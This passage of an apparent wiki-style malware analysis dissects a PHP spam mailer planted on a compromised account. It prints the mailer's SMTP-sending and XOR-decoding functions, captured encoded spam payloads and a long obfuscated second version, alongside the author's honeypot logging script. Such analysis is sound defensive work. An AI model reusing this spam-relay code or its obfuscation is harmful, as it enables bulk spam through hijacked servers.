	return preg_match(&amp;quot;/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/&amp;quot;, $server); &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
// defined but not used&lt;br /&gt;
function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685=&amp;quot;=\r\n&amp;quot;, $v92f21a0f = 0, $v3303c65a = false) {&lt;br /&gt;
	$vf5a8e923 = strlen($vb45cffe0); &lt;br /&gt;
	$mailer_func_return_code = &#039;&#039;; &lt;br /&gt;
	&lt;br /&gt;
	for($email_i = 0;  $email_i &amp;lt; $vf5a8e923; $email_i++) {&lt;br /&gt;
		if ($v11a95b8a &amp;gt;= 75) {&lt;br /&gt;
			$v11a95b8a = $v92f21a0f; &lt;br /&gt;
			$mailer_func_return_code .= $v7fa1b685; &lt;br /&gt;
		} &lt;br /&gt;
		$v4a8a08f0 = ord($vb45cffe0[$email_i]); &lt;br /&gt;
		if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 &amp;gt;= 0x80) || ($v4a8a08f0 &amp;lt; 0x20)) {&lt;br /&gt;
			if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) &amp;amp;&amp;amp; (!$v3303c65a)) {&lt;br /&gt;
				$mailer_func_return_code.=chr($v4a8a08f0); &lt;br /&gt;
				$v11a95b8a = 0; continue; &lt;br /&gt;
			} &lt;br /&gt;
			$mailer_func_return_code .=&#039;=&#039;.str_pad(strtoupper(dechex($v4a8a08f0)), 2, &#039;0&#039;, STR_PAD_LEFT); &lt;br /&gt;
			$v11a95b8a += 3; continue; &lt;br /&gt;
		} &lt;br /&gt;
		&lt;br /&gt;
		$mailer_func_return_code .= chr($v4a8a08f0); $v11a95b8a++; &lt;br /&gt;
	} &lt;br /&gt;
	return $mailer_func_return_code; &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
// Uses fsockopen to talk to a SMTP server in order to send emails&lt;br /&gt;
function custom_mailer_func($sender_email, $target_emails, $smtp_data, $sender_mail_server, $mail_server) {&lt;br /&gt;
	global $disabled_functions; &lt;br /&gt;
&lt;br /&gt;
	if (!in_array(&#039;fsockopen&#039;, $disabled_functions)) &lt;br /&gt;
		$socket = @fsockopen($mail_server, 25, $errno, $errstr, 20); &lt;br /&gt;
	elseif (!in_array(&#039;pfsockopen&#039;, $disabled_functions)) &lt;br /&gt;
		$socket = @pfsockopen($mail_server, 25, $errno, $errstr, 20); &lt;br /&gt;
	elseif (!in_array(&#039;stream_socket_client&#039;, $disabled_functions) &amp;amp;&amp;amp; function_exists(&amp;quot;stream_socket_client&amp;quot;)) &lt;br /&gt;
		$socket = @stream_socket_client(&amp;quot;tcp://$mail_server:25&amp;quot;, $errno, $errstr, 20); &lt;br /&gt;
	else return -1; &lt;br /&gt;
	&lt;br /&gt;
	if (!$socket) {&lt;br /&gt;
		return 1; &lt;br /&gt;
	} else {&lt;br /&gt;
		$spam_message_data = dump_socket_data_func($socket); &lt;br /&gt;
		@fputs($socket, &amp;quot;EHLO $sender_mail_server\r\n&amp;quot;); &lt;br /&gt;
		$socket_data = dump_socket_data_func($socket); &lt;br /&gt;
		&lt;br /&gt;
		if (substr($socket_data, 0, 3) != 250 ) &lt;br /&gt;
			return &amp;quot;2+($target_emails)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $socket_data); &lt;br /&gt;
		@fputs($socket, &amp;quot;MAIL FROM:&amp;lt;$sender_email&amp;gt;\r\n&amp;quot;); &lt;br /&gt;
		$socket_data = dump_socket_data_func($socket); &lt;br /&gt;
&lt;br /&gt;
		if (substr($socket_data, 0, 3) != 250 ) &lt;br /&gt;
			return &amp;quot;3+($target_emails)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $socket_data);&lt;br /&gt;
		@fputs($socket, &amp;quot;RCPT TO:&amp;lt;$target_emails&amp;gt;\r\n&amp;quot;); &lt;br /&gt;
		$socket_data = dump_socket_data_func($socket); &lt;br /&gt;
		if (substr($socket_data, 0, 3) != 250 &amp;amp;&amp;amp; substr($socket_data, 0, 3) != 251) &lt;br /&gt;
			return &amp;quot;4+($target_emails)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $socket_data); &lt;br /&gt;
&lt;br /&gt;
		@fputs($socket, &amp;quot;DATA\r\n&amp;quot;); $socket_data = dump_socket_data_func($socket); &lt;br /&gt;
		if (substr($socket_data, 0, 3) != 354 ) &lt;br /&gt;
			return &amp;quot;5+($target_emails)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $socket_data); &lt;br /&gt;
			&lt;br /&gt;
		@fputs($socket, $smtp_data.&amp;quot;\r\n.\r\n&amp;quot;); &lt;br /&gt;
		$socket_data = dump_socket_data_func($socket); &lt;br /&gt;
&lt;br /&gt;
		if (substr($socket_data, 0, 3) != 250 ) &lt;br /&gt;
			return &amp;quot;6+($target_emails)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $socket_data);&lt;br /&gt;
			&lt;br /&gt;
		@fputs($socket, &amp;quot;QUIT\r\n&amp;quot;);&lt;br /&gt;
		@fclose($socket); &lt;br /&gt;
		return 0; &lt;br /&gt;
	} &lt;br /&gt;
&lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
function dump_socket_data_func($socket) {&lt;br /&gt;
	$spam_message_data = &#039;&#039;; &lt;br /&gt;
	while($data = @fgets($socket, 4096)) {&lt;br /&gt;
		$spam_message_data .= $data; &lt;br /&gt;
		if(substr($data, 3, 1) == &#039; &#039;)&lt;br /&gt;
			break; &lt;br /&gt;
	} &lt;br /&gt;
&lt;br /&gt;
	return $spam_message_data; &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
function get_mail_server_func($vad5f82e8) {&lt;br /&gt;
	global $disabled_functions; &lt;br /&gt;
	if (!in_array(&#039;getmxrr&#039;, $disabled_functions) &amp;amp;&amp;amp; function_exists(&amp;quot;getmxrr&amp;quot;)) {&lt;br /&gt;
		@getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); &lt;br /&gt;
		if (count($v744fa43b) === 0) &lt;br /&gt;
			return &#039;127.0.0.1&#039;; &lt;br /&gt;
		&lt;br /&gt;
		$email_i = array_keys($v6c5ea816, min($v6c5ea816)); &lt;br /&gt;
		return $v744fa43b[$email_i[0]]; &lt;br /&gt;
	} else {&lt;br /&gt;
		return &#039;127.0.0.1&#039;;&lt;br /&gt;
	} &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function decrypt_func($cyphertext) {&lt;br /&gt;
	$cyphertext = base64_decode($cyphertext); &lt;br /&gt;
	$text = &#039;&#039;; &lt;br /&gt;
	for($i = 0; $i &amp;lt; strlen($cyphertext); $i++) &lt;br /&gt;
		$text .= chr(ord($cyphertext[$i]) ^ 2); &lt;br /&gt;
	return $text; &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight &amp;gt;&lt;br /&gt;
&lt;br /&gt;
I also captured the POST values that are being sent to the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
208.43.56.34Array&lt;br /&gt;
(&lt;br /&gt;
    [list] =&amp;gt; YGlvY3BrZ0JjbW4sYW1vIWBpb2Nwa2xCY21uLGFtbyFgaW9jcGkyOzM1QmNtbixhbW8hYGlvY3BpOzYyNDI6Ojs3QmNtbixhbW8hYGlvY3BpQmNtbixhbW8hYGlvY3BpcTQ3QmNtbixhbW8hYGlvY3BpdW1tZkJjbW4sYW1vIWBpb2NwbWpsQmNtbixhbW8hYGlvY3BxQmNtbixhbW8hYGlvY3BxYWpCam12b2NrbixhbW8h&lt;br /&gt;
    [data] =&amp;gt; PldRR1A8Z25vY11wZ2dmPi1XUUdQPAg+TENPRzwgR25vYyJQZ2dmID4tTENPRzwIPlFXQEg8RHU4IiJKZ25ubT4tUVdASDwIPlFATUZbPAg+Zmt0PAg+cjwIIlN3Y25rdnsiT2dmIk1sbmtsZyJRd3JybmtncSJgZ3F2ImFqY2xhZyJ2bSJxY3RnIj5jImpwZ2Q/IGp2dnI4LS12Z2N2cDI3LHB3LVRrZmdtXV1dRG12bV1ka25ncS1wYWQsanZvbiA8anZ2cjgtLXZnY3ZwMjcscHctVGtmZ21dXV1EbXZtXWRrbmdxLXBhZCxqdm9uPi1jPAg+LXI8CD4tZmt0PAg+LVFATUZbPA==&lt;br /&gt;
    [en] =&amp;gt; 1&lt;br /&gt;
)&lt;br /&gt;
&amp;lt;/syntaxhighlight &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;list&amp;lt;/code&amp;gt; is the list of emails to spam. &amp;lt;code&amp;gt;data&amp;lt;/code&amp;gt; contains the actual spam data including the sender name, subject, and the spam message. There is a special &#039;decryption&#039; function in the code that does a few transformations on the text that&#039;s given as to obfuscate what&#039;s actually going on.&lt;br /&gt;
&lt;br /&gt;
Interestingly, this page appears to be hit by random servers, possibly servers that have been hijacked. There were a few hundred unique IPs hitting this script. Unfortunately, I couldn&#039;t find anything else on the compromised account which propagates these POST requests to other servers.&lt;br /&gt;
&lt;br /&gt;
Just for fun, I&#039;ve made a script to gather the data being sent while giving the spammers false feedback that the script is still working:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
// log data&lt;br /&gt;
ob_start();&lt;br /&gt;
echo $_SERVER[&#039;REMOTE_ADDR&#039;];&lt;br /&gt;
print_r($_POST);&lt;br /&gt;
$data = ob_get_contents();&lt;br /&gt;
ob_clean();&lt;br /&gt;
&lt;br /&gt;
// save it to /tmp&lt;br /&gt;
$fp = fopen(&amp;quot;/tmp/postdata&amp;quot;, &amp;quot;a+&amp;quot;);&lt;br /&gt;
fwrite($fp, $data);&lt;br /&gt;
fclose($fp);&lt;br /&gt;
&lt;br /&gt;
// give them fake return statuses&lt;br /&gt;
$emails = decrypt_func(@$_POST[&#039;list&#039;]);&lt;br /&gt;
$email_count = count(explode(&amp;quot;#&amp;quot;, $emails));&lt;br /&gt;
&lt;br /&gt;
for ($i = 0; $i &amp;lt; $email_count; $i++) {&lt;br /&gt;
        echo(&amp;quot;O&amp;quot;.&amp;quot;K&amp;quot;.md5(1234567890).&amp;quot;+1\n&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function decrypt_func($cyphertext) {&lt;br /&gt;
        $cyphertext = base64_decode($cyphertext);&lt;br /&gt;
        $text = &#039;&#039;;&lt;br /&gt;
        for($i = 0; $i &amp;lt; strlen($cyphertext); $i++)&lt;br /&gt;
                $text .= chr(ord($cyphertext[$i]) ^ 2);&lt;br /&gt;
        return $text;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight &amp;gt;&lt;br /&gt;
&lt;br /&gt;
We&#039;ll see how long this keeps on going...&lt;br /&gt;
&lt;br /&gt;
Update: It appears that this is part of a botnet. See http://blog.trendmicro.com/trendlabs-security-intelligence/how-to-check-if-your-website-is-part-of-the-stealrat-botnet/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP Spammer v2.0 ==&lt;br /&gt;
&lt;br /&gt;
There appears to be a slightly more sophisticated version from the same botnet. It uses the same encoding and API to send mail, but utilizes sockets before falling back to using the system&#039;s mail() call. &lt;br /&gt;
&lt;br /&gt;
The original obfuscated PHP code and the deobfuscated code can be seen below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
$r76=&amp;quot;F[&amp;lt;PAlDf|]}M@~79/O8Kx\rH6r&amp;amp;-c5k\n3X,YzhQ&amp;gt; Cp\\wUu2jGoB;0i_SN\tn%Vg)ZI^sTRyvL{\$:=1*mE+JW(q4.t&#039;`a!\&amp;quot;#edb?&amp;quot;; $GLOBALS[&#039;vtton6&#039;] = $r76[94].$r76[24].$r76[24].$r76[49].$r76[24].$r76[54].$r76[24].$r76[94].$r76[41].$r76[49].$r76[24].$r76[87].$r76[53].$r76[58].$r76[61]; $GLOBALS[&#039;jlxru64&#039;] = $r76[53].$r76[58].$r76[53].$r76[54].$r76[66].$r76[94].$r76[87]; $GLOBALS[&#039;vajox38&#039;] = $r76[95].$r76[94].$r76[7].$r76[53].$r76[58].$r76[94]; $GLOBALS[&#039;qobdl72&#039;] = $r76[36].$r76[70].$r76[27].$r76[45].$r76[61].$r76[76].$r76[31]; $GLOBALS[&#039;yhrfr40&#039;] = $r76[20].$r76[69].$r76[36].$r76[20].$r76[58].$r76[15].$r76[46]; $GLOBALS[&#039;quzii24&#039;] = $r76[78].$r76[95].$r76[28]; $GLOBALS[&#039;tlyiy12&#039;] = $r76[27].$r76[49].$r76[45].$r76[58].$r76[87]; $GLOBALS[&#039;kyioa8&#039;] = $r76[87].$r76[53].$r76[78].$r76[94]; $GLOBALS[&#039;glyac65&#039;] = $r76[27].$r76[49].$r76[58].$r76[66].$r76[87].$r76[90].$r76[58].$r76[87]; $GLOBALS[&#039;nhnww15&#039;] = $r76[58].$r76[41].$r76[45].$r76[7].$r76[53].$r76[23].$r76[76]; $GLOBALS[&#039;igajs32&#039;] = $r76[41].$r76[49].$r76[87].$r76[27].$r76[27].$r76[76].$r76[76]; $GLOBALS[&#039;cpukq94&#039;] = $r76[49].$r76[78].$r76[90].$r76[45].$r76[7].$r76[18].$r76[14]; $GLOBALS[&#039;bdonk12&#039;] = $r76[36].$r76[43].$r76[61].$r76[96].$r76[49].$r76[18].$r76[18]; $GLOBALS[&#039;aurku4&#039;] = $r76[53].$r76[49].$r76[20].$r76[61].$r76[49].$r76[46].$r76[15]; $GLOBALS[&#039;yqqkt30&#039;] = $r76[7].$r76[45].$r76[58].$r76[27].$r76[87].$r76[53].$r76[49].$r76[58].$r76[54].$r76[94].$r76[20].$r76[53].$r76[66].$r76[87].$r76[66]; $GLOBALS[&#039;tnmsd36&#039;] = $r76[78].$r76[90].$r76[53].$r76[5]; $GLOBALS[&#039;chqql44&#039;] = $r76[90].$r76[24].$r76[78].$r76[87].$r76[20].$r76[31].$r76[46]; $GLOBALS[&#039;cvtxr40&#039;] = $r76[94].$r76[27].$r76[69].$r76[43].$r76[66].$r76[31].$r76[52]; $GLOBALS[&#039;eavur97&#039;] = $r76[45].$r76[66].$r76[5].$r76[94].$r76[94].$r76[41]; $GLOBALS[&#039;ptlaz26&#039;] = $r76[45].$r76[24].$r76[70].$r76[7].$r76[45].$r76[14].$r76[18]; $GLOBALS[&#039;xcnkh30&#039;] = $r76[20].$r76[5].$r76[5].$r76[94].$r76[35].$r76[52]; $GLOBALS[&#039;wnlxd28&#039;] = $r76[87].$r76[24].$r76[53].$r76[78]; $GLOBALS[&#039;laepm94&#039;] = $r76[41].$r76[24].$r76[94].$r76[61].$r76[54].$r76[24].$r76[94].$r76[41].$r76[5].$r76[90].$r76[27].$r76[94]; $GLOBALS[&#039;nxseo15&#039;] = $r76[61].$r76[94].$r76[87].$r76[36].$r76[49].$r76[66].$r76[87].$r76[96].$r76[69].$r76[58].$r76[90].$r76[78].$r76[94]; $GLOBALS[&#039;cyzbs96&#039;] = $r76[41].$r76[24].$r76[94].$r76[61].$r76[54].$r76[78].$r76[90].$r76[87].$r76[27].$r76[36]; $GLOBALS[&#039;yoejz48&#039;] = $r76[24].$r76[35].$r76[94].$r76[29].$r76[61].$r76[31].$r76[15]; $GLOBALS[&#039;lzjpr73&#039;] = $r76[43].$r76[95].$r76[87].$r76[47].$r76[7].$r76[23].$r76[18]; $GLOBALS[&#039;osnjl91&#039;] = $r76[24].$r76[20].$r76[24].$r76[78].$r76[41].$r76[14].$r76[52]; $GLOBALS[&#039;zhjzv93&#039;] = $r76[41].$r76[24].$r76[27].$r76[45].$r76[20].$r76[85].$r76[14]; $GLOBALS[&#039;brkww19&#039;] = $r76[66].$r76[87].$r76[24].$r76[5].$r76[94].$r76[58]; $GLOBALS[&#039;yhcum29&#039;] = $r76[49].$r76[69].$r76[69].$r76[66].$r76[61].$r76[18].$r76[52]; $GLOBALS[&#039;ibere91&#039;] = $r76[7].$r76[49].$r76[7].$r76[87].$r76[61].$r76[46].$r76[14]; $GLOBALS[&#039;vszxc90&#039;] = $r76[90].$r76[24].$r76[24].$r76[90].$r76[69].$r76[54].$r76[29].$r76[94].$r76[69].$r76[66]; $GLOBALS[&#039;qtgcq90&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[66].$r76[94].$r76[5].$r76[94].$r76[27].$r76[87]; $GLOBALS[&#039;bwpvf88&#039;] = $r76[45].$r76[27].$r76[7].$r76[53].$r76[24].$r76[66].$r76[87]; $GLOBALS[&#039;bdvxl14&#039;] = $r76[66].$r76[87].$r76[24].$r76[54].$r76[24].$r76[94].$r76[41].$r76[5].$r76[90].$r76[27].$r76[94]; $GLOBALS[&#039;xizmx47&#039;] = $r76[53].$r76[58].$r76[53].$r76[54].$r76[61].$r76[94].$r76[87]; $GLOBALS[&#039;stkuy98&#039;] = $r76[70].$r76[29].$r76[90].$r76[84].$r76[84].$r76[15].$r76[18]; $GLOBALS[&#039;duiid33&#039;] = $r76[95].$r76[90].$r76[87].$r76[94]; $GLOBALS[&#039;grxdw62&#039;] = $r76[61].$r76[94].$r76[87].$r76[78].$r76[20].$r76[24].$r76[24]; $GLOBALS[&#039;nvuxa92&#039;] = $r76[69].$r76[96].$r76[94].$r76[43].$r76[69].$r76[18].$r76[18]; $GLOBALS[&#039;ysmvf63&#039;] = $r76[78].$r76[53].$r76[58]; $GLOBALS[&#039;vbhwy58&#039;] = ${$r76[54].$r76[3].$r76[17].$r76[55].$r76[67]}; $GLOBALS[&#039;wdbfr89&#039;] = $r76[7].$r76[94].$r76[43].$r76[7].$r76[20].$r76[85].$r76[52]; $GLOBALS[&#039;vxogc32&#039;] = $r76[41].$r76[24].$r76[94].$r76[61].$r76[54].$r76[66].$r76[41].$r76[5].$r76[53].$r76[87]; $GLOBALS[&#039;inenw32&#039;] = $r76[20].$r76[43].$r76[66].$r76[94].$r76[66].$r76[46].$r76[85]; $GLOBALS[&#039;xyxdn38&#039;] = $r76[27].$r76[36].$r76[24]; $GLOBALS[&#039;rtdlc97&#039;] = $r76[49].$r76[24].$r76[95]; $GLOBALS[&#039;cnrfe78&#039;] = $r76[45].$r76[24].$r76[5].$r76[95].$r76[94].$r76[27].$r76[49].$r76[95].$r76[94]; $GLOBALS[&#039;wzekj92&#039;] = $r76[66].$r76[87].$r76[24].$r76[53].$r76[41].$r76[66].$r76[5].$r76[90].$r76[66].$r76[36].$r76[94].$r76[66]; $GLOBALS[&#039;yrqxp89&#039;] = $r76[90].$r76[24].$r76[24].$r76[90].$r76[69].$r76[54].$r76[7].$r76[5].$r76[53].$r76[41]; $GLOBALS[&#039;xavtv19&#039;] = $r76[41].$r76[24].$r76[94].$r76[61].$r76[54].$r76[78].$r76[90].$r76[87].$r76[27].$r76[36].$r76[54].$r76[90].$r76[5].$r76[5]; $GLOBALS[&#039;zjheh80&#039;] = $r76[96].$r76[90].$r76[66].$r76[94].$r76[23].$r76[85].$r76[54].$r76[94].$r76[58].$r76[27].$r76[49].$r76[95].$r76[94]; $GLOBALS[&#039;gisxn89&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[27].$r76[24].$r76[94].$r76[90].$r76[87].$r76[94]; $GLOBALS[&#039;oqikt29&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[5].$r76[90].$r76[66].$r76[87].$r76[54].$r76[94].$r76[24].$r76[24].$r76[49].$r76[24]; $GLOBALS[&#039;tvxvt28&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[66].$r76[87].$r76[24].$r76[94].$r76[24].$r76[24].$r76[49].$r76[24]; $GLOBALS[&#039;fmlld76&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[66].$r76[94].$r76[87].$r76[54].$r76[49].$r76[41].$r76[87].$r76[53].$r76[49].$r76[58]; $GLOBALS[&#039;zwafy86&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[66].$r76[94].$r76[87].$r76[54].$r76[58].$r76[49].$r76[58].$r76[96].$r76[5].$r76[49].$r76[27].$r76[29]; $GLOBALS[&#039;uocvp26&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[27].$r76[49].$r76[58].$r76[58].$r76[94].$r76[27].$r76[87]; $GLOBALS[&#039;xvxof76&#039;] = $r76[7].$r76[66].$r76[49].$r76[27].$r76[29].$r76[49].$r76[41].$r76[94].$r76[58]; $GLOBALS[&#039;vzqix48&#039;] = $r76[66].$r76[87].$r76[24].$r76[94].$r76[90].$r76[78].$r76[54].$r76[66].$r76[94].$r76[87].$r76[54].$r76[96].$r76[5].$r76[49].$r76[27].$r76[29].$r76[53].$r76[58].$r76[61]; $GLOBALS[&#039;sltum36&#039;] = $r76[66].$r76[87].$r76[24].$r76[94].$r76[90].$r76[78].$r76[54].$r76[66].$r76[94].$r76[87].$r76[54].$r76[87].$r76[53].$r76[78].$r76[94].$r76[49].$r76[45].$r76[87]; $GLOBALS[&#039;clkxn20&#039;] = $r76[66].$r76[87].$r76[24].$r76[94].$r76[90].$r76[78].$r76[54].$r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[27].$r76[5].$r76[53].$r76[94].$r76[58].$r76[87]; $GLOBALS[&#039;unkvq75&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[27].$r76[5].$r76[49].$r76[66].$r76[94]; $GLOBALS[&#039;yoxhh65&#039;] = $r76[7].$r76[27].$r76[5].$r76[49].$r76[66].$r76[94]; $GLOBALS[&#039;dskbo69&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[24].$r76[94].$r76[90].$r76[95]; $GLOBALS[&#039;jhtbn88&#039;] = $r76[7].$r76[94].$r76[49].$r76[7]; $GLOBALS[&#039;zflfl64&#039;] = $r76[7].$r76[24].$r76[94].$r76[90].$r76[95]; $GLOBALS[&#039;uwnpx27&#039;] = $r76[66].$r76[49].$r76[27].$r76[29].$r76[94].$r76[87].$r76[54].$r76[43].$r76[24].$r76[53].$r76[87].$r76[94]; $GLOBALS[&#039;stdvp96&#039;] = $r76[7].$r76[43].$r76[24].$r76[53].$r76[87].$r76[94]; $GLOBALS[&#039;ocmvf65&#039;] = $r76[24].$r76[90].$r76[58].$r76[95]; $GLOBALS[&#039;bkenc7&#039;] = $r76[94].$r76[20].$r76[41].$r76[5].$r76[49].$r76[95].$r76[94]; $GLOBALS[&#039;llpxl21&#039;] = $r76[41].$r76[90].$r76[27].$r76[29]; $GLOBALS[&#039;efljc33&#039;] = $r76[45].$r76[58].$r76[41].$r76[90].$r76[27].$r76[29]; $GLOBALS[&#039;zndda55&#039;] = $r76[27].$r76[61].$r76[35].$r76[36].$r76[61].$r76[14]; $GLOBALS[&#039;lzlla40&#039;] = $r76[90].$r76[24].$r76[24].$r76[90].$r76[69].$r76[54].$r76[78].$r76[94].$r76[24].$r76[61].$r76[94]; $GLOBALS[&#039;axqrn63&#039;] = $r76[5].$r76[49].$r76[58].$r76[61].$r76[46].$r76[53].$r76[41]; @$GLOBALS[&#039;vtton6&#039;](NULL); @$GLOBALS[&#039;jlxru64&#039;]($r76[94].$r76[24].$r76[24].$r76[49].$r76[24].$r76[54].$r76[5].$r76[49].$r76[61],NULL); @$GLOBALS[&#039;jlxru64&#039;]($r76[5].$r76[49].$r76[61].$r76[54].$r76[94].$r76[24].$r76[24].$r76[49].$r76[24].$r76[66],0); $GLOBALS[&#039;vajox38&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[11].$r76[32], 0x000F); $GLOBALS[&#039;vajox38&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[4] , 0x0001); $GLOBALS[&#039;vajox38&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[56].$r76[55], 0x0002); $GLOBALS[&#039;vajox38&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[37].$r76[79].$r76[55].$r76[67].$r76[64].$r76[17].$r76[56] , 1); $GLOBALS[&#039;vajox38&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[4].$r76[56].$r76[55].$r76[82].$r76[79].$r76[68] , 2); $GLOBALS[&#039;vajox38&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[4].$r76[44].$r76[67].$r76[22].$r76[17].$r76[68].$r76[64].$r76[67].$r76[34] , 3); $GLOBALS[&#039;vajox38&#039;]($r76[6].$r76[56].$r76[55].$r76[54].$r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[4].$r76[6].$r76[6].$r76[64].$r76[67].$r76[64].$r76[17].$r76[56].$r76[4].$r76[71], 4); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67] , 1); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[0].$r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67], 2); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[55].$r76[67].$r76[68].$r76[79].$r76[4].$r76[11] , 4); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[67].$r76[34].$r76[3].$r76[79].$r76[54].$r76[56].$r76[17] , 5); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[3].$r76[68].$r76[17].$r76[67].$r76[17].$r76[54].$r76[67].$r76[40].$r76[3] , 1); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[17].$r76[40].$r76[19].$r76[79].$r76[67].$r76[54].$r76[3].$r76[68].$r76[17].$r76[67].$r76[17].$r76[54].$r76[44].$r76[6].$r76[3] , 2); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[40].$r76[17].$r76[56].$r76[56].$r76[79].$r76[40].$r76[67] , 0); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[40].$r76[17].$r76[56].$r76[56].$r76[79].$r76[40].$r76[67].$r76[79].$r76[6] , 1); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[79].$r76[22].$r76[71].$r76[17] , 2); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[11].$r76[4].$r76[64].$r76[71].$r76[0].$r76[68].$r76[17].$r76[11] , 3); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[68].$r76[40].$r76[3].$r76[67].$r76[67].$r76[17] , 4); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[6].$r76[4].$r76[67].$r76[4] , 5); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[50].$r76[17].$r76[6].$r76[34] , 6); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[37].$r76[44].$r76[64].$r76[67] , 7); $GLOBALS[&#039;vajox38&#039;]($r76[55].$r76[67].$r76[79].$r76[3].$r76[54].$r76[40].$r76[17].$r76[11].$r76[3].$r76[71].$r76[79].$r76[67].$r76[79].$r76[6] , 8); $GLOBALS[&#039;qobdl72&#039;]($r76, NULL); $jabhi9 = array($r76[87].$r76[49].$r76[71].$r76[53].$r76[66].$r76[87] =&amp;gt; &amp;quot;&amp;quot;, $r76[7].$r76[24].$r76[49].$r76[78].$r76[71].$r76[49].$r76[61].$r76[53].$r76[58] =&amp;gt; &amp;quot;&amp;quot;, $r76[7].$r76[24].$r76[49].$r76[78].$r76[56].$r76[90].$r76[78].$r76[94] =&amp;gt; 